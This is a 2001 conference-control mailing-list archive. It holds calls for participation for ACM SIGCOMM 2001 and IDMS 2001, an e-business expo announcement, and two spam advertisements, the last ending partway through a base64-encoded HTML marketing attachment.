Received: from d01ml243.pok.ibm.com (d01ml243.pok.ibm.com [9.117.200.72])
	by northrelay02.pok.ibm.com (8.11.1m3/NCO v4.96.1.0) with ESMTP id f6JKGBi55322;
	Thu, 19 Jul 2001 16:16:11 -0400
Importance: Normal
Subject: Call for Participation: ACM Sigcomm 2001 Conference
To: tci-announce@listserv.computer.org, tccc@ieee.org, tcgn@ieee.org,
        end2end-interest@postel.org, confctrl@ISI.EDU, itc@ieee.org,
        ifip-6-1-distr@run.montefiore.ulg.ac.be,
        ifip-tc6@informatik.rwth-aachen.de, sigmetrics@haven.epm.ornl.gov,
        dbworld@cs.wisc.edu, f-troup@CODEX.cis.upenn.edu,
        rem-conf-request@es.net, cost237-transport@comp.lancs.ac.uk,
        reres@laas.fr, hipparch@sophia.inria.fr, xtp-relay@cs.concordia.ca,
        rem-conf@es.net, commsoft@cc.bellcore.com, cnom@maestro.bellcore.com,
        conf@colmar.uha.fr, Cost264@lip6.fr, domain3@BXL.DG13.cec.eu.int,
        nichains@BXL.DG13.cec.eu.int, gi-fb3@fokus.gmd.de,
        kuvs-elg@fokus.gmd.de, multicomm@cc.bellcore.com, kgold@firstconf.com,
        announcements.chi@acm.com, netnomics@eco.utexas.edu,
        IEEETCPC-request@LISTSERV.UTORONTO.CA, gigabitkits@arl.wustl.edu
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OFCDFCC9E6.53E7C7AB-ON85256A8E.00703A06@pok.ibm.com>
From: "Dilip D Kandlur" <kandlur@us.ibm.com>
Date: Thu, 19 Jul 2001 16:27:32 -0400
X-MIMETrack: Serialize by Router on D01ML243/01/M/IBM(Release 5.0.8 |June 18, 2001) at
 07/19/2001 04:23:11 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Please note that the Hotel registration deadline is approaching (July
23rd)!!!




               Call for Participation
              ACM SIGCOMM 2001 Conference

                    August 27 - August 31, 2001
                 University of California, San Diego, CA USA
                http://www.acm.org/sigcomm/sigcomm2001

Deadlines:

Proposals for student travel grant:      June 15, 2001
Proposals for student poster session:    June 17, 2001
Advance registration ends:              August 3, 2001
Hotel registration deadline:       July 23, 2001

ACM SIGCOMM 2001 is the annual conference of the Special Interest
Group on Data Communication (SIGCOMM), a single-track, highly
selective conference with a technical program of 23 papers, tutorials
by noted instructors on the two days prior, and a panel discussion.

Early registration for SIGCOMM 2001 will soon be available.
Registration details, as well as information on student travel grants
and requests for proposals for the work-in-progress poster session are
available at the SIGCOMM website above.

Social Events

The reception will be at the Birch Aquarium at Scripps.  The Aquarium
is situated on a hilltop site that provides a spectacular view on the
Scripps Institution of Oceanography campus, northern La Jolla, and the
Pacific Ocean.  Conference attendees will have full access to the
aquarium exhibits during the reception. The reception is included in
registration fee for attendees and their guests. No reservations
necessary.

The SIGCOMM 2001 Banquet will be held in the Main Ballroom of the
Hotel Del Coronado, situated on picturesque Coronado Island. Over 112
years old, it is a National Historic Landmark renowned for its
magnificent architecture and legendary guests. The banquet is included
in the registration fee for attendees. There will be a $75 charge for
each guest.

SIGCOMM Award

The SIGCOMM Award is given annually to a person whose career and
technical achievements demonstrate a long-term commitment to the field
of data communications. ACM SIGCOMM is pleased to announce that the 2001
SIGCOMM Award is being given to Van Jacobson of Packet Design, Inc.
Van Jacobson will receive the award and give the conference keynote
address in the opening session on Wednesday.

Tutorials

SIGCOMM 2001 begins with two days of full- and half-day tutorials
covering single topics in detail at both the introductory and advanced
level.  Tutorials offered this year are:

 - Wireless Data
     Phil Karn, Qualcomm, Inc.
 - Traffic Measurement for IP Operations
     Matt Grossglauser and Jennifer Rexford, AT&T
 - Interdomain Routing and BGP
     Timothy G. Griffin, AT&T
 - Equilibrium and Dynamics of TCP
     Prof. Steven H. Low, California Inst. of Technology
 - Algorithms for Networks: Some Techniques for Design and Analysis
     Ashish Goel, University of Southern California
     Nick McKeown and Balaji Prabhakar, Stanford University

Outrageous Opinions Session

The Outrageous Opinions Session provides an opportunity for sharing
entertaining, provocative, and otherwise enriching ideas and suggestions
in their early stages. The session will be held Thursday evening.

Poster Session - Work in Progress

The Poster Session is aimed at showcasing the "work-in-progress" of
students attending the conference.  Poster proposals should be sent by
email to Hari Balakrishnan (hari@lcs.mit.edu) by June 17 (no
extensions).  Please see the conference website for details regarding
the submission format.

Student Travel Awards

The purpose of the student travel program is to encourage graduate
student participation at the conference by partially or fully funding
the travel costs of students who would otherwise be unable to
attend. SIGCOMM 2001 thanks Cisco and SIGCOMM for funding the program
this year.  See the website for eligibility criteria and application
procedures.

General Co-Chairs
        Rene Cruz, UC San Diego, USA (cruz@ece.ucsd.edu)
        George Varghese, UC San Diego, USA (varghese@ece.ucsd.edu)
Program Co-Chairs
        Roch Guerin, U. Pennsylvania, USA (guerin@ee.upenn.edu)
        Derek McAuley, Marconi Research Center, UK
(derek.mcauley@marconi.com)
Publicity Chair
        Dilip Kandlur, IBM TJ Watson Research Ctr, USA (kandlur@us.ibm.com)
Tutorials Chair
        Chuck Kalmanek, AT&T Research, USA (crk@research.att.com)
Local Arrangements Co-Chairs
     Geoff Voelker, UC San Diego, USA (voelker@cs.ucsd.edu)
Finance Chair
     Joe Touch, UCS/ISI, USA (touch@isi.edu)
Publication Chair
     Ramesh Govindan, USC/ISI, USA (govindan@isi.edu)
Student Travel Award Chair
     Christos Papadopoulos, U. Southern California (christos@usc.edu)
Student Poster Chair
     Hari Balakrishnan, MIT, USA (hari@lcs.mit.edu)

Support from Cisco, IBM, Deloitte and Touche, PMC-Sierra, Marconi,
Procket Networks, Agilent Technologies, Microsoft Research, and
USC/ISI is gratefully acknowledged.







From confctrl-owner  Fri Jul 20 02:04:07 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA15969
	for confctrl-outgoing; Fri, 20 Jul 2001 02:04:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA15964
	for <confctrl@zephyr.isi.edu>; Fri, 20 Jul 2001 02:04:06 -0700 (PDT)
Received: from idms.lancs.ac.uk (IDENT:root@idms.lancs.ac.uk [148.88.155.240])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6K94JL20300
	for <confctrl@isi.edu>; Fri, 20 Jul 2001 02:04:19 -0700 (PDT)
Received: (from root@localhost)
	by idms.lancs.ac.uk (8.11.0/8.11.0) id f6K99ts01234
	for confctrl@isi.edu; Fri, 20 Jul 2001 10:09:55 +0100
Date: Fri, 20 Jul 2001 10:09:55 +0100
Message-Id: <200107200909.f6K99ts01234@idms.lancs.ac.uk>
From: "Doug Shepherd" <announce@idms.lancs.ac.uk>
Reply-To: <announce@idms.lancs.ac.uk>
Subject: *** IDMS 2001: Call for Participation ***
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> We apologize if you receive multiple copies of this. <--
[Please feel free to distribute a copy of this call
to those who might be interested.]


*** CALL FOR PARTICIPATION ***

and

*** Call for Demonstrations and Poster session ***


IDMS 2001
8th International Workshop on
Interactive Distributed Multimedia Systems

September 4-7, 2001, Lancaster, UK
http://www.idms2001.org

in cooperation with ACM SIGCOMM and ACM SIGMM

Sponsors:
  Agilent Laboratories
  BTexact Technologies
  Hewlett Packard Laboratories
  Microsoft Research
  Orange
  Sony Electronics

The aim of the IDMS series of workshops is to bring together
researchers, developers, and practitioners from academia and
industry to provide a forum for discussion, presentation and
exploration of technologies and advances in the broad field
of interactive distributed multimedia systems.

IDMS 2001 has a balanced programme with

- one day of tutorials on

  * IP telephony
    by Ralf Steinmetz and Ralf Ackermann, 
       Darmstadt University of Technology, Germany

  * IPv6 trials (deployment and transitioning)
    by, among others, speakers from the IPv6 Forum, BT, Cisco and
        academia

  * Interactive Distributed Multimedia Systems (IDMS) for Consumer
    Electronics
    by Andras Montvay, Peter van der Stock and Rob Udink
       Philips Research Laboratories (Germany and The Netherlands)
     
  * Mobile IPv6
    by Joe Finney, Lancaster University, UK
    and Greg O'Shea, Microsoft Research, UK

followed by two and a half days of technical sessions, comprising

- 3 invited talks:

  * QoS for Multimedia -- What is going to make it pay?
    by Dr. Derek McAuley, Marconi Labs, UK

  * Enabling the Internet to provide Multimedia Services
    by Dr. Markus Hofmann, Bell Labs, Holmdel, NJ, USA

  * MPEG-21 Standard: Why an Open Multimedia Framework?
    by Prof. Fernando Pereira, IST, Portugal

and sessions on
  * Media Distribution
  * QoS Issues in Multimedia
  * Multimedia Middleware
  * Congestion Control and Adaptation
  * Control of Multimedia Networks
  * 2 short/position paper sessions

without forgetting a complete social programme designed for maximum
interaction amongst participants, including 
* the workshop Banquet in Leighton Hall, a somptuous historic stately
  house and gardens, set in the majestic Northwestern English hills
* organised lunches and evening meals
* organised accomodation 

We are also interested in receiving information about proto-
type multimedia systems relevant to IDMS which could be 
demonstrated at the workshop. Furthermore, poster sessions
will also be organised to allow delegates to disseminate
their research ideas and results in a more interactive way.
For more information or to submit a demonstration or poster proposal,
please contact, as soon as possible, the local organising committee 
at local@idms2001.org.

Detailed information of the workshop, including programme, registration
and accommodation, is available at:

http://www.idms2001.org

The workshop is being organised by the
Distributed Multimedia Research Group,
Computing Department,
Lancaster University, UK.

Prof. Doug Shepherd, Programme Chair



From confctrl-owner  Fri Jul 20 14:41:33 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA25353
	for confctrl-outgoing; Fri, 20 Jul 2001 14:41:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA25348
	for <confctrl@zephyr.isi.edu>; Fri, 20 Jul 2001 14:41:32 -0700 (PDT)
Received: from smtp-hub2.mrf.mail.rcn.net (smtp-hub2.mrf.mail.rcn.net [207.172.4.76])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6KLfjL10156
	for <CONFCTRL@isi.edu>; Fri, 20 Jul 2001 14:41:45 -0700 (PDT)
Received: from smtp03.mrf.mail.rcn.net ([207.172.4.62])
	by smtp-hub2.mrf.mail.rcn.net with esmtp (Exim 3.31 #3)
	id 15Ni1j-0000oz-00
	for CONFCTRL@isi.edu; Fri, 20 Jul 2001 17:41:39 -0400
Received: from 66-44-55-216.s470.tnt1.lnhva.md.dialup.rcn.com ([66.44.55.216] helo=EAGLE)
	by smtp03.mrf.mail.rcn.net with esmtp (Exim 3.31 #3)
	id 15Ni1h-0003Hf-00 
	for CONFCTRL@ISI.EDU; Fri, 20 Jul 2001 17:41:38 -0400
Message-ID: <140022001752021425490@EAGLE>
X-EM-Version: 5, 0, 0, 19
X-EM-Registration: #01B0530810E603002D00
X-Priority: 3
Reply-To: res02mg1@gte.net
X-MSMail-Priority: Normal
From: "David C. Dickson" <res02mg1@gte.net>
To: CONFCTRL@ISI.EDU
Subject: 21st Century Commerce Int'l EXPO 2001 - Training Conference - Phoenix, AZ
Date: Fri, 20 Jul 2001 17:42:05 -0400
MIME-Version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id OAA25349
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To:    CONFCTRL@ISI.EDU

TRAINING CONFERENCE:

21st Century Commerce International EXPO 2001
E-Business://Building Integrated Solutions

September 10-13, 2001
Phoenix Civic Plaza
Phoenix, Arizona

Main Program:

Registration: 7:30 a.m., September 11
Program Begins: 8:30 a.m., September 11
Wrap-up: 3:30 p.m., September 13

Continental Breakfast, Refreshments and Lunches included.

About the Conference:

The 21st Century Commerce International EXPO 2001 will be held in Phoenix, Arizona, September 10-13, 2001. The conference was created in 1987 as a conference and trade exhibition focused on IT solutions for the government marketplace and the Department of Defense. The EXPO has expanded to encompass commercial marketplace best business practices.  EXPO offers you an opportunity to hear from some of the nations top business leaders who will discuss and examine all aspects of e-business, from infrastructure to enterprise architecture, to hardware and software, to security issues. On the trade show floor, you will see successful e-business in action:  from government agencies to Fortune 500 companies to small- and medium-size enterprises making a difference for tomorrow's wired world.

Who should attend:

*  Senior Managers (government and Industry)
*  Chief Information Officers
*  Knowledge Officers
*  International Business Leaders
*  eBusiness Architects
*  Information Technology Officers
*  Program Managers
*  Product Data Managers
*  Customer Relations Managers
*  Technology Providers
*  Small-Medium-Large Enterprises
*  Data Conversion Managers and Providers
*  Application Service Providers

Among those areas that will be discussed in the tracks are:

*  Defining Requirements for Integrated Solutions
*  Strategy Focused Execution
*  Exploiting Value Chain Management
*  Electronic Enterprises-Broadening Your Space
*  Integrated Technologies
*  Electronic Government Enterprise-Governing Beyond Borders

Key Presentations:

*  Mr. Robert D. Johnson, Executive Vice President and COO, Honeywell International and President and CEO, Honeywell Aerospace
*  Ms. Mary J. Mitchell, Program Executive for Electronic Government Policy, General Services Administration
*  Mr. Jack Garrison, Director of Integrated Logistics, Lockheed Martin
*  LTG Daniel G. Brown, Deputy Commander in Chief, US Transportation Command
*  LTG Charles S. Mahan, Jr., Deputy Chief of Staff for Logistics, US Army
*  RADM Ray Archer, Defense Logistics Agency
*  Ms. Ariane Whittemore, Assistant Deputy Chief of Naval Operations, (Fleet Readiness and Logistics)
*  Dr. Palmer Smith, Director of Government Solutions, Sabre, Inc.
*  Mr. John F. Phillips, Vice President of Aftermarket Growth, Honeywell
*  Mr. Barry Lerner, Vice President of Government Sales, Exostar, LLC
*  Mr. Walt Kozak, PricewaterhouseCoopers
*  Mr. Pat Holcomb, CommerceOne
*  Mr. Craig York, Honeywell International

Three ways to register:

*  On-line at www.21cc.org
*  By fax at 703-522-3192
*  By mail:  AFEI, 2111 Wilson Boulevard, Suite 400, Arlington, VA  22201

Register prior to August 31 for Early Bird rates!
AFEI Members: $750
Government Employees: $825
Non-Member: $900

Tutorials:  $100 (September 10)
GSA (MOBIS/LOGWORLD Training): $75 (September 10)

Tutorials Sessions Include:

*  Introduction to Supply Chain Management including practical steps in planning for implementation
*  How to conduct auctions on the Internet. Reverse auctions - how they work - how DoD is using reverse auctions to save money
*  Strategy Focused Execution including an introduction to Enterprise Resource Planning (ERP) and Customer Relationship Management (CRM)
*  XML with examples of the practical application of XML within Industry and Government
*  Introduction to Enterprise Application Integration (EAI)
*  Configuration Management (The transition to an Industry-wide standard)

We are pleased to announce that GSA will be holding a LOGWORLD/ MOBIS training session during the EXPO this year.

This year the General Services Administration's (GSA) procurement innovations will be presented at the 21st Century Commerce International EXPO 2001 on September 10.  GSA will provide training at EXPO 2001 for contractors and Federal agencies interested in the Logistics Worldwide (LOGWORLD) and Management, Organizational and Business Improvement Services (MOBIS) schedule contracts.

LOGWORLD enables Federal agencies to procure comprehensive logistics solutions to enhance or replace existing operations and capabilities.  Examples of the type of services provided under this schedule include Supply and Value Chain Management; Acquisition Logistics; Distribution and Transportation Logistics; Deployment Logistics; Logistics training services, support products and new services.  MOBIS provides Federal agencies with a tool to seek expert advice for improving management and organizational effectiveness.  Examples of the type of services provided under the MOBIS schedule are consulting services; facilitation services; survey services; Alternative Dispute Resolution (ADR) services; A76 study support; project management services; training services and support products. www.northwest.gsa.gov/fss/msc

Executive Roundtable:

This years Executive Roundtable (ERT) theme is Returns on Business Investments in the New Reality. The ERT is a special session for senior management (CEO, COO, CIO, CTO, Sr. Vice Presidents, Presidents, Executive Directors) and is offered by invitation only. If you would like to request an invitation, please contact Michelle Bourke at mbourke@afei.org.

Exhibit:

Booth space will be reserved on a first-come, first-served basis. Reserve your preferred location as soon as possible. The floorplan has been configured to maximize traffic throughout the display area, and the program schedule will be designed to encourage attendee participation.  For more information on available booth space and prices, go to http://www.21cc.org/01exhibits.htm. We have already sold 50% of our booth spaces! Sign up soon!

Conference Sponsors:

*  EXOSTAR
*  Sprint E Solutions
*  CSC
*  Phoenix Business Journal
*  Government Computer News
*  National Defense Industrial Association
*  National Defense Magazine
*  Thomas Group
*  BidSource
*  The Greater Phoenix Chamber of Commerce

To view sponsorship opportunities, please visit the website at www.21cc.org

Contact:

Michelle Beckner Bourke, EXPO Conference Manager, at (703) 247-9473, mbourke@afei.org;

If you wish to be REMOVED from this list, please REPLY by placing REMOVE in the subject line.

Thank you



From confctrl-owner  Sat Jul 21 18:42:32 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA05017
	for confctrl-outgoing; Sat, 21 Jul 2001 18:42:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA05003
	for <confctrl@zephyr.isi.edu>; Sat, 21 Jul 2001 18:42:30 -0700 (PDT)
Received: from mail.greatbasin.net (mail.greatbasin.net [207.228.35.39])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6M1giL16194
	for <confctrl@isi.edu>; Sat, 21 Jul 2001 18:42:44 -0700 (PDT)
Received: from rogue (sugarpinellc.com [216.82.147.171])
	by mail.greatbasin.net (8.9.3-MySQL-0.2.3b/8.9.3) with SMTP id SAA24736
	for <confctrl@isi.edu>; Sat, 21 Jul 2001 18:42:44 -0700 (PDT)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: Sugarpine.Sierra.West@greatbasin.net, LLC <info@sugarpinellc.com>
To: confctrl@ISI.EDU
Subject: Press Release
Message-ID: <200172167349confctrl@isi.edu>
Date: Sat, 21 Jul 2001 18:42:29 -0600
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

For Immediate Release
Incline Village, Nevada
Contact Corporate Communications
www.sugarpinellc.com

Sugarpine Sierra West, LLC is proud to announce 4 additional services, Sports Memorabilia, Hair Raisers, Financial Services and Worlds-Best-4 the worlds largest virtual shopping mall featuring over 2.2 million products! Save time! Save money! Make money!!!

These services and products are now available to everyone. To view these tremendous opportunities, please visit our website. Sports Memorabilia may be viewed simply by clicking on its front-page banner. Hair Raisers may be viewed by visiting our web site, www.sugarpinellc.com, and select our associates’ link. Our Financial Services is linked and bannered on our home page.

As you all may already know, Sugarpine Sierra West, LLC is at its heart an asset hosting company.  Please don’t forget to look at our Asset Gallery to see some outstanding business and investment opportunities, as well as collectables and real estate.

Sugarpine Sierra West, LLC would like to extend its sincere thanks and appreciation to all!

Please visit us at our web site at: www.sugarpinellc.com.

Corporate Communications:
Sugarpine Sierra West, LLC
Mr. Charles J. Armstrong II or Ms. Denise Pavlo
Phone:  775-832-2552
E-Mail: info@sugarpinellc.com

To be removed from our e-mail list, reply to this e-mail with "REMOVE" in the subject line of your reply.



From confctrl-owner  Tue Jul 24 00:39:59 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA01593
	for confctrl-outgoing; Tue, 24 Jul 2001 00:39:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA01570
	for <confctrl@zephyr.isi.edu>; Tue, 24 Jul 2001 00:39:56 -0700 (PDT)
Received: from universitybookswap.net (nic-c63-084.mw.mediaone.net [24.131.63.84])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f6O7dmL10210;
	Tue, 24 Jul 2001 00:39:48 -0700 (PDT)
From: <info@universitybookswap.net>
Subject: used college textbooks
Date: Mon, 23 Jul 2001 03:40:50
Message-Id: <828.686693.416812@universitybookswap.net>
Reply-To: info@universitybookswap.net
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="====================5453503:40===="
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--====================5453503:40====
Content-Type: text/plain; charset="us-ascii"

Universitybookswap.com
Opening November 12, 2001

Sell your used text books online:
With universitybookswap.com you
can post your text books online for $2.99 per book. Your sales
message will be seen by potentially all of your school's
students. 

Buy used text books from other students:
Why pay $50.00 or more for a used book? Simply browse
universitybookswap.com for the text books that you need and
negotiate a fair price. 
    
As a former college student I got cheated out of hundreds if not thousands of dollars by buying
and selling my books at the local University book store. Fight back now! 
--====================5453503:40====
Content-Type: application/octet-stream; name="Attachment1.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Attachment1.html"

PCFkb2N0eXBlIGh0bWwgcHVibGljICItLy93M2MvL2R0ZCBodG1sIDQuMCB0
cmFuc2l0aW9uYWwvL2VuIj4NCjxodG1sPg0KPGhlYWQ+DQogICA8bWV0YSBo
dHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsg
Y2hhcnNldD1pc28tODg1OS0xIj4NCiAgIDxtZXRhIG5hbWU9IkdFTkVSQVRP
UiIgY29udGVudD0iTW96aWxsYS80LjczIFtlbl0gKFdpbk5UOyBVKSBbTmV0
c2NhcGVdIj4NCiAgIDx0aXRsZT5zZWxsIHlvdXIgdXNlZCB0ZXh0Ym9va3Mg
YXQgdW5pdmVyc2l0eWJvb2tzd2FwLmNvbTwvdGl0bGU+DQo8IS0tIFRoZSBy
ZW1haW5kZXIgb2YgdGhpcyBtZXNzYWdlIGlzIGluIEhUTUwgZm9ybWF0IGZv
ciB1c2UgYnkgbWFpbCBjbGllbnRzIHRoYXQgY2FuIHByb3Blcmx5IGRpc3Bs
YXkgaXQuLS0+DQo8L2hlYWQ+DQo8Ym9keSBiZ2NvbG9yPSIjRkZGRkZGIiBt
YXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxpbWcgU1JDPSJv
LmpzcCIgQUxUPSIiIGhlaWdodD0xIHdpZHRoPTE+PCEtLSAgRG8gTk9UIGRl
bGV0ZSBwcmV2aW91cyBsaW5lIGlmIHlvdSB3YW50IHRvIGdldCBzdGF0aXN0
aWNzIG9uIHRoZSBudW1iZXIgb2Ygb3BlbmVkIGVtYWlscyAgLS0+DQo8Y2Vu
dGVyPjx0YWJsZSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5H
PTIgV0lEVEg9IjU3NSIgYm9yZGVyY29sb3I9IiM5OTAwMDAiID4NCjx0cj4N
Cjx0ZCBWQUxJR049VE9QPg0KPHRhYmxlIEJPUkRFUj0wIENFTExTUEFDSU5H
PTAgQ0VMTFBBRERJTkc9NSBib3JkZXJjb2xvcj0iIzAwMDAwMCIgPg0KPHRy
Pg0KPHRkIFZBTElHTj1UT1A+DQo8Y2VudGVyPjwhLS0gQmVnaW4gTG9nbyBv
ciBIZWFkZXIgSW1hZ2UtLT48aW1nIFNSQz0iaHR0cDovL3d3dy5tYWNoaW5l
cy5jb20vd2RkL3Vicy91c2IuanBnIiBBTFQ9InVuaXZlcnNpdHlib29rc3dh
cC5jb20iIEJPUkRFUj0wID48IS0tIEVuZCBMb2dvIG9yIEhlYWRlciBJbWFn
ZS0tPg0KPGJyPjxmb250IGZhY2U9IlZlcmRhbmEsR2VuZXZhLEFyaWFsLEhl
bHZldGljYSxzYW5zLXNlcmlmIj48Zm9udCBjb2xvcj0iIzk5OTkwMCI+PGZv
bnQgc2l6ZT0rMj51bml2ZXJzaXR5Ym9va3N3YXAuY29tPC9mb250PjwvZm9u
dD48L2ZvbnQ+DQo8YnI+PGZvbnQgZmFjZT0iVmVyZGFuYSxHZW5ldmEsQXJp
YWwsSGVsdmV0aWNhLHNhbnMtc2VyaWYiPjxmb250IGNvbG9yPSIjMDAwMDAw
Ij5vcGVuaW5nDQpub3ZlbWJlciAxMiwgMjAwMTwvZm9udD48L2ZvbnQ+PC9j
ZW50ZXI+DQo8IS0tIEdyZWV0aW5nICAtLT4NCjxwPjxiPjxmb250IGZhY2U9
IlZlcmRhbmEsQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWYiPjxmb250IGNv
bG9yPSIjMDAwMDAwIj48Zm9udCBzaXplPS0xPnVuaXZlcnNpdHlib29rc3dh
cC5jb208L2ZvbnQ+PC9mb250PjwvZm9udD48L2I+PCEtLSBJbnRyb2R1Y3Rv
cnkgUGFyYWdyYXBoICAtLT48Zm9udCBjb2xvcj0iIzAwMDAwMCI+PC9mb250
Pg0KPHA+PGZvbnQgZmFjZT0iVmVyZGFuYSxBcmlhbCxIZWx2ZXRpY2Esc2Fu
cy1zZXJpZiI+PGZvbnQgY29sb3I9IiMwMDAwMDAiPjxmb250IHNpemU9LTE+
VW5pdmVyc2l0eWJvb2tzd2FwLmNvbQ0Kd2FzIGZvdW5kZWQgdG8gaGVscCB0
aGUgY29sbGVnZSBzdHVkZW50IHNhdmUgYSBmZXcgYnVja3MuIEhhdmUgeW91
IGV2ZXINCnB1cmNoYXNlZCBhIHVzZWQgKG9yIG5ldykgdGV4dCBib29rIGZy
b20geW91ciBsb2NhbCBVbml2ZXJzaXR5IGJvb2sgc3RvcmUNCmZvciBzYXkg
JDUwLjAwIG9yIG1vcmUsIHRoZW4gdXNlIHRoYXQgYm9vayBmb3Igb25lIHRl
cm0sIHJlc2VsbCBpdCBhdCB0aGUNCmVuZCBvZiB0aGUgdGVybSB0byB0aGUg
Ym9vayBzdG9yZSBmb3Igc2F5ICQxNS4wMCBhbmQgc2VlIHRoYXQgYm9vayBz
dG9yZQ0Kc2VsbCB5b3VyIGJvb2sgdG8gc29tZSBvdGhlciBzdHVkZW50IGZv
ciAkNTAuMDAhPyE/IT8gV2hhdCBhIHJpcCBvZmYhJm5ic3A7PC9mb250Pjwv
Zm9udD48L2ZvbnQ+DQo8cD4NCjxociBzaXplPSIyIiBjb2xvcj0iIzAwMzM2
NiI+PCEtLSBCZWdpbiBGaXJzdCBQcm9tb3Rpb24gVGFibGUgLS0+DQo8dGFi
bGUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0wID4NCjx0
cj4NCjx0ZCBWQUxJR049Q0VOVEVSPjwhLS0gRmlyc3QgUHJvbW90aW9uIElt
YWdlIC0tPjxhIGhyZWY9Imh0dHA6Ly9jY3Byb2Qucm92aW5nLmNvbS9yb3Zp
bmcvc2EvdC5qc3A/aWQ9dnp5c2NyNzcuY3VncmhyNzcmcD1odHRwJTNBJTJG
JTJGd3d3LnVuaXZlcnNpdHlib29rc3dhcC5jb20iPjxpbWcgU1JDPSJodHRw
Oi8vd3d3Lm1hY2hpbmVzLmNvbS93ZGQvdWJzL2plbm4tZW1haWwuanBnIiBI
U1BBQ0U9NCBCT1JERVI9MCA+PC9hPjwvdGQ+DQoNCjx0ZCBWQUxJR049Q0VO
VEVSPjwhLS0gRmlyc3QgUHJvbW90aW9uIE5hbWUgLS0+PGZvbnQgZmFjZT0i
VmVyZGFuYSxBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZiI+PGZvbnQgY29s
b3I9IiM2NjY2MDAiPjxmb250IHNpemU9KzE+U2VsbA0KeW91ciB1c2VkIHRl
eHQgYm9va3M8L2ZvbnQ+PC9mb250PjwvZm9udD4NCjxwPjwhLS0gRmlyc3Qg
UHJvbW90aW9uIERlc2NyaXB0aW9uIC0tPjxmb250IGZhY2U9IlZlcmRhbmEs
QXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWYiPjxmb250IHNpemU9LTE+PGZv
bnQgY29sb3I9IiMwMDAwMDAiPkFzDQphbiBlZHVjYXRlZCBjb2xsZWdlIHN0
dWRlbnQgeW91IHNob3VsZCBiZSBhc2hhbWVkIGZvciBnZXR0aW5nIGNoZWF0
ZWQgdGltZQ0KYW5kIHRpbWUgYWdhaW4hIFVuaXZlcnNpdHlib29rc3dhcC5j
b20gaXMgeW91ciB3YXkgdG8gZmlnaHQgYmFjayEgV2l0aA0KdW5pdmVyc2l0
eWJvb2tzd2FwLmNvbSB5b3UgY2FuIHBvc3QgeW91ciB0ZXh0IGJvb2tzIG9u
bGluZSBmb3IgJDIuOTkgcGVyDQpib29rLiBZb3VyIHNhbGVzIG1lc3NhZ2Ug
d2lsbCBiZSBzZWVuIGJ5IHBvdGVudGlhbGx5IGFsbCBvZiB5b3VyIHNjaG9v
bCdzDQpzdHVkZW50cy48L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDMzNjYiPiZu
YnNwOzwvZm9udD48L2ZvbnQ+PC9mb250PjwhLS0gRmlyc3QgUHJvbW90aW9u
IExpbmsgIC0tPg0KPHA+PGZvbnQgZmFjZT0iVmVyZGFuYSxBcmlhbCxIZWx2
ZXRpY2Esc2Fucy1zZXJpZiI+PGZvbnQgY29sb3I9IiMwMDMzNjYiPjxmb250
IHNpemU9LTE+PGEgaHJlZj0iaHR0cDovL2NjcHJvZC5yb3ZpbmcuY29tL3Jv
dmluZy9zYS90LmpzcD9pZD12enlzY3I3Ny5jdWdyaHI3NyZwPWh0dHAlM0El
MkYlMkZ3d3cudW5pdmVyc2l0eWJvb2tzd2FwLmNvbSI+dW5pdmVyc2l0eWJv
b2tzd2FwLmNvbTwvYT48L2ZvbnQ+PC9mb250PjwvZm9udD48L3RkPg0KPC90
cj4NCjwvdGFibGU+DQo8IS0tIEVuZCBGaXJzdCBQcm9tb3Rpb24gVGFibGUg
LS0+DQo8cD48IS0tIEJlZ2luIFNlY29uZCBQcm9tb3Rpb24gVGFibGUgLS0+
DQo8dGFibGUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0w
ID4NCjx0cj4NCjx0ZCBBTElHTj1SSUdIVCBWQUxJR049Q0VOVEVSPjwhLS0g
U2Vjb25kIFByb21vdGlvbiBOYW1lIC0tPjxmb250IGZhY2U9IlZlcmRhbmEs
